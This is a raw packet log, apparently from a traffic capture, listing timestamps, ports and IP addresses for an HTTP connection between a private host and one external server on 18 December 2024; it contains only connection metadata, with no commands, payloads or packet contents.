                                                        Dec 18, 2024 09:31:27.393332005 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.394427061 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.394565105 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.394687891 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.395741940 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.395828009 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.395926952 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.397214890 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.397238970 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.397327900 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.398257971 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.398370981 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.398435116 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.399559975 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.399660110 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.399873018 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.400928974 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.400945902 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.401001930 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.402098894 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.402183056 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.402240038 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.403418064 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.403507948 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.403573036 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.404640913 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.404726982 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.404809952 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.405997038 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.406126976 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.406241894 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.407270908 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.407403946 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.407507896 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.408421040 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.408524990 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.408581972 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.409560919 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.409708977 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.409785986 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.410718918 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.410846949 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.410904884 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.411921978 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.412013054 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.412184954 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.413104057 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.413281918 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.414148092 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.414288044 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.414402962 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.414689064 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.415508986 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.415604115 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.415688992 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.416709900 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.416749954 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.416897058 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.417879105 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.418129921 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.418174982 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.419056892 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.419167042 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.419239998 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.420198917 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.420357943 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.420408964 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.421389103 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.421504974 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.421608925 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.422523975 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.422622919 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.422683954 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.423676014 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.423794985 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.423873901 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.425024033 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.425142050 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.425229073 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.426062107 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.426110983 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.426175117 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.427325964 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.427385092 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.427454948 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.428412914 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.428550005 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.428643942 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.429601908 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.429754972 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.429845095 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.430849075 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.430947065 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.431015015 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.431969881 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.432074070 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.432239056 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.433130026 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.433235884 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.433361053 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.434324980 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.434446096 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.434523106 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.435527086 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.435663939 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.435725927 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.436688900 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.436784983 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.436847925 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.437875986 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.437969923 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.438047886 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.439047098 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.439141989 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.439336061 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.440222025 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.440352917 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.440407038 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.441369057 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.486005068 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.557260036 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.557337046 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.557440996 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.557720900 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.558448076 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.558548927 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.558945894 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.558959961 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.559154034 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.559899092 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.559977055 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.560426950 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.560714006 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.560848951 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.560904980 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.564369917 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.564389944 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.564404964 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.564415932 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.564435959 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.564449072 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.564483881 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.564501047 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.565073013 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.565085888 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.565145969 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.566143990 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.566157103 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.566210985 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.566951036 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.567142963 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.567217112 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.574968100 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.575143099 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.575246096 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.575289965 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.575473070 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.575649023 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.576394081 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.576572895 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.576652050 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.577364922 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.577554941 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.577642918 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.578233957 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.578246117 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.578352928 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.578799009 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.578912020 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.579128027 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.581173897 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.581186056 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.581281900 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.581976891 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.582145929 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.582158089 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.582321882 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.582334995 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.582520008 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.583169937 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.583184004 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.583342075 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.584183931 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.584196091 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.584306002 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.585181952 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.585196018 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.585366964 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.586179972 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.586191893 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.586313009 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.586988926 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.587165117 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.587337971 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.588037968 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.588051081 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.588177919 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.588916063 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.589066029 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.589118958 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.590025902 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.590038061 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.590143919 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.590853930 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.591042995 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.591100931 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.591881037 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.592046022 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.592123032 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.592878103 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.593054056 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.593202114 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.593899012 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.593913078 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.594031096 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.594754934 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.594953060 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.595041037 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.595694065 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.595868111 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.596019983 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.596721888 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.596735001 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.596807957 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.597331047 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.597343922 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.597421885 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.599220991 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.599379063 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.599561930 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.600207090 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.600368023 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.600505114 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.601042986 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.601217985 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.601352930 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.601552010 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.601563931 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.601728916 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.602554083 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.602730989 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.602814913 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.603518009 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.603529930 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.603593111 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.603957891 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.604006052 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.604155064 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.604954958 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.605034113 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.605107069 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.605909109 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.606070995 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.606139898 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.607023954 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.607139111 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.607233047 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.607793093 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.607969999 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.608028889 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.608829021 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.608936071 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.609016895 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.609786034 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.609894991 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.609980106 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.610712051 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.610851049 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.610932112 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.611711025 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.611872911 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.611932993 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.612668991 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.612710953 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.612790108 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.613661051 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.613742113 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.613928080 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.614624023 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.614754915 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.614902973 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.618150949 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.618164062 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.618175030 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.618253946 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.657730103 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.749238014 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.749265909 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.749452114 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.749763012 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.749957085 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.750092030 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.750619888 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.750785112 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.750879049 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.751635075 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.751813889 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.751876116 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.752635002 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.752815962 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.752877951 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.753649950 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.753669977 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.753798008 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.754497051 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.754681110 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.754762888 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.755300045 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.755336046 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.755428076 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.756127119 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.756742001 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.756871939 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.757656097 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.757705927 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.757781982 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.765847921 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.766007900 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.766169071 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.766278982 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.766324043 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.766403913 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.767275095 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.767429113 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.767498016 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.768234968 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.768373013 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.768476963 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.769170046 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.769387960 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.769464016 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.770138025 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.770323038 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.770395041 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.771119118 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.771328926 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.771405935 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.772044897 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.772161961 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.772277117 CET4970680192.168.2.8139.99.188.124
